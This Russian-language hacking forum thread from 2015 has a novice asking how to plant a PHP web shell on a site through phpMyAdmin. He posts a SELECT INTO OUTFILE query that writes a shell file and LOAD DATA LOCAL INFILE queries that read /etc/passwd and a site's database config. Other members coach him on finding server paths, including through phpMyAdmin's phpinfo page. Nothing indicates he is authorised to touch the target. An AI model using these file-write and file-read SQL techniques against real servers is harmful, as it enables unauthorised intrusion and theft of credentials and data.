Как залить шелл через PMA?

Discussion in 'Песочница' started by Edward007, 24 Dec 2015.

  1. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Вообщем дело такое, я уже и гуглил, и у знакомых спрашивал, никто ничего не знает.
    Возможно ли как-то разрешить File_priv через саму бд?
    Выполняю запрос: SELECT shell FROM `shell` INTO OUTFILE '/blablabla/data/www/site.ru.su/22.php';
    И скули выбивает ошибку: #1045 - Access denied for user 'shopsof'@'%' (using password: YES)
    Можно ли что-то сделать в этой ситуации?
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    _________________________
  3. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Очень жаль :С
     
  4. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Я новичок в этой сфере, не понимаю что делать дальше.
    LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'
    Выдало:
    Добавлено 2 строки.
    Идентификатор вставленной строки: 945 ( Запрос занял 0.0004 сек. )
    Что дальше?
     
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    таблицу test посмотрите
     
    _________________________
  6. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Вбил так:
    LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'
    Зашел в табл, там такое:
    http://i.imgur.com/YBBXi0U.png
    Пытаюсь dbconfig.php открыть:
    LOAD DATA LOCAL INFILE '/www/xxx.su/engine/data/dbconfig.php' INTO TABLE test FIELDS TERMINATED BY '\n'
    Скули выбивает:
    #2 - File '/www/xxx.su/engine/data/dbconfig.php' not found (Errcode: 2 "No such file or directory")
    Что делать?
     
  7. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    в ошибке вам говорят, что путь неверный. ищите пути. раскрытие, чтение конфигов веб-серера, вот это все
     
    _________________________
  8. 5maks5

    5maks5 Elder - Старейшина

    Joined:
    29 Aug 2010
    Messages:
    451
    Likes Received:
    264
    Reputations:
    40
    Шел 2015 год, PHP 7 лежал в репозитории на GitHub, а люди все еще использовали MySQL 5.5 с FILE_PRIV=Y.
    К чему это я?
    Где вы откапываете этих мастодонтов?
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    да кому это интересно - апдейты делать?
     
    _________________________
  10. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Можно пример, как можно найти пути?
    В этой сфере я слаб...
     
  11. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    смотря какой веб-сервер. гуглите, все это много раз встречалось здесь, а в интернете и того чаще
     
    _________________________
  12. 5maks5

    5maks5 Elder - Старейшина

    Joined:
    29 Aug 2010
    Messages:
    451
    Likes Received:
    264
    Reputations:
    40
    Даже если лень следить за актуальностью программного обеспечения, необходимо правильно настроить права доступа, ну и как минимум прописать .htpasswd
    Ну и замена бажному PMA давно известна - консоль & adminer.
     
  13. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    В пма бывает пхпинфо а там document_root видно
     
  14. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Где именно?
     
  15. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    /phpmyadmin/phpinfo.php?token=%валидный токен%

    вроде так
     
  16. Edward007

    Edward007 New Member

    Joined:
    24 Dec 2015
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Захожу в pma, пишу так: sitepma.ru/phpinfo.php?token=Тут_мой_валидный_токен
    И меня перекидывает на авторизацию... Т.е сбрасывается авторизация.
     
Loading...